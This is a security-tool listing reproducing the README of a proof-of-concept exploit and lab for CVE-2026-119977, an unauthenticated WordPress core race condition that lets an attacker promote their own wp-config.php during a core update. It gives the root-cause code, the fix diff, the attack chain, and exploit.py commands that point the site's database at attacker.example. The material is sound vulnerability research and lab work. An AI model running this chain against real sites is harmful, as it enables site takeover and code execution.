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CVE-2026-119977 — Proof-of-concept and lab for CVE-2026-119977, a WordPress core race-condition RCE: passive check, race-window watch, staged wp-config.php promotion, plus detection guidance. | Kitploit
工具/GitHubGitHub/lysophavin18/cve-2026-119977
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHublysophavin18/cve-2026-119977

CVE-2026-119977

Proof-of-concept and lab for CVE-2026-119977, a WordPress core race-condition RCE: passive check, race-window watch, staged wp-config.php promotion, plus detection guidance.

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CVE-2026-119977 — WordPress Core unauthenticated upgrade-window staged-installer RCE

Public research PoC — patched. Fixed in WordPress 7.1.4 (2026-10-28, backported to every branch back to 4.7). Nothing here is zero-day: the CVE is published, the difference between 7.1.3 and 7.1.4 is public, and the flaw is in CISA KEV. Use it only on systems you own or are engaged to test.

Summary

CVECVE-2026-119977 (NVD)
CNA / advisoryWordfence — WordPress 7.1.4 security release
ComponentWordPress Core, wp-admin/includes/class-wp-upgrader.php + wp-admin/includes/update-core.php
Affected4.7.0 – 7.1.3 (all branches, per-branch backports of the fix)
Fixed7.1.4 (2026-10-28) and the matching release on every branch back to 4.7
CWECWE-367 — time-of-check to time-of-use race
CVSS 3.18.1 High — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Published2026-10-31
ExploitationCISA KEV 2026-11-03 (federal fix deadline 2026-11-06); Wordfence reports ~63k automated probes, no confirmed compromises
Authnone (unauthenticated); requires a full-package core update to be in flight

Repository layout

exploit.py                     # check / watch / exploit, --authorized gate, built-in bait MySQL
lab/
  README.md                    # step-by-step runbook + bait/troubleshooting reference
  reset.sh                     # builds the vulnerable tree and the patched control
  router.php                   # truthful 404s for PHP's built-in server
  demo.mp4                     # 28 s: browser pane + script pane, same run
  screenshots/                 # 5 stills from the live run
  lab-verification.log         # captured output of the full chain
LICENSE

Root cause

Two lines, both verified against the 7.1.3 release tree and the 7.1.4 fix diff.

  1. wp-admin/includes/class-wp-upgrader.php:378 (unpack_package()):
$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
// Clean up contents of upgrade directory beforehand.   <-- no index.php until 7.1.4
...
// We need a working directory - strip off any .tmp or .zip suffixes.
$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );

download_package() hands unpack_package() the path returned by download_url() / wp_tempnam(), which is /tmp/wordpress-<version> — the release URL basename with the extension stripped. The staging directory is therefore predictable: wp-content/upgrade/wordpress-7.1.4/.

  1. The unzipped release contains wordpress/wp-admin/setup-config.php. That file runs with WP_SETUP_CONFIG / WP_INSTALLING defined and without a live wp-config.php, and the staging directory is inside the web root. Anyone who reaches it while it exists can drive the installer.

  2. wp-admin/includes/update-core.php:1549 (update_core()), pre-7.1.4:

$skip = array( 'wp-content', 'wp-includes/version.php' );
...
$result = copy_dir( $from . $distro, $to, $skip );   // line 1639

wp-config.php is not in the skip list, so a wp-config.php written into the staged tree by the installer is copied over the live wp-config.php when the update finishes. The attacker controls DB_NAME, DB_USER, DB_PASSWORD, DB_HOST and $table_prefix of the promoted configuration.

Chain

  1. A full-package core update is in flight (auto-update on a stale site, or an admin pressing "Re-install/Update"). wp-content/upgrade/wordpress-<version>/ appears, world-readable through the web server, for seconds.
  2. Attacker polls the predictable path wp-content/upgrade/wordpress-<target-version>/wordpress/wp-admin/setup-config.php.
  3. On a hit: POST setup-config.php?step=2 with attacker DB credentials. setup-config.php connects to that DB, requires the SELECT <prefix> probe to fail, then writes wp-config.php into the staged tree.
  4. update_core() finishes unpacking and runs copy_dir($from, ABSPATH, $skip); the attacker's config is promoted over the live one.
  5. The site now loads the attacker's config: point DB_HOST at a DB you control, log in with an admin row you planted, then use the theme/plugin editor (or upload a plugin) for code execution.

Steps 1–4 are what this PoC demonstrates. Step 5 is ordinary "I own the database" WordPress takeover, not part of the CVE.

Fix (7.1.4, backported)

+	private function get_working_dir_name( $package ) {
+		$name = basename( basename( $package, '.tmp' ), '.zip' );
+		return $name . '-' . wp_generate_password( 16, false );   // unpredictable
+	}
...
-	$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );
+	$working_dir = $upgrade_folder . $this->get_working_dir_name( $package );
+	// + wp-content/upgrade/index.php is written and preserved (no directory index)
-	$skip = array( 'wp-content', 'wp-includes/version.php' );
+	$skip = array( 'wp-content', 'wp-includes/version.php', 'wp-config.php' );

PoC

exploit.py (stdlib + requests). Non-destructive check is the default; watch/exploit require --authorized.

# 1. passive: is a staged installer reachable right now, is the upgrade dir hardened?
python3 exploit.py --target https://blog.example --versions 7.1.3,7.1.4

# 2. poll for the race window (target = the version being installed)
python3 exploit.py --target https://blog.example --mode watch --authorized \
        --versions 7.1.4 --threads 8 --duration 600

# 3. win the window and plant the config; --bait runs a fake MySQL so step=2
#    succeeds without a real database and proves promotion out-of-band
python3 exploit.py --target https://blog.example --mode exploit --authorized \
        --versions 7.1.4 --bait 0.0.0.0:3306 \
        --db-host attacker.example --db-name baitdb --db-user bait --db-pass baitpass

Notes:

  • --versions must be the release being installed (the auto-update target), not the version currently running. Localized packages add a locale suffix: --locales en_US,km → wordpress-7.1.4-en_US.
  • The bait MySQL protocol handler answers SELECT @@SESSION.sql_mode with a result set, SET ... with OK, and SELECT <prefix> with a syntax error — exactly what setup-config.php needs to proceed to writing the file.
  • Verification on a real target is out-of-band: after promotion the live site authenticates to the bait as --db-user, and the script reports PROMOTED only for connections that arrive after the staged write.

Step by step (lab)

Everything runs from CVE_labs/CVE-2026-119977/. Deep reference (bait protocol, troubleshooting, screenshots): lab/README.md. Video walkthrough of the same steps: lab/demo.mp4 (28 s, browser + script side by side).

Step 0 — build the vulnerable state

bash lab/reset.sh

Builds lab/runtime/live = 7.1.3 with a 7.1.4 package already unpacked inside it (the window), and lab/runtime/fixed = 7.1.4 + the upgrade/index.php guard. Zips download once into lab/zips/ (gitignored).

Step 1 — serve both docroots

php -S 127.0.0.1:8099 -t lab/runtime/live  lab/router.php &
php -S 127.0.0.1:8100 -t lab/runtime/fixed lab/router.php &

Check: staged installer on :8099 → 200, upgrade/index.php on :8099 → 404, same installer on :8100 → 404. router.php is required — PHP's built-in server returns a fake 200 for missing paths.

Step 2 — passive check (read-only GETs, exit 2 = exploitable)

python3 exploit.py --target http://127.0.0.1:8099 --versions 7.1.3,7.1.4
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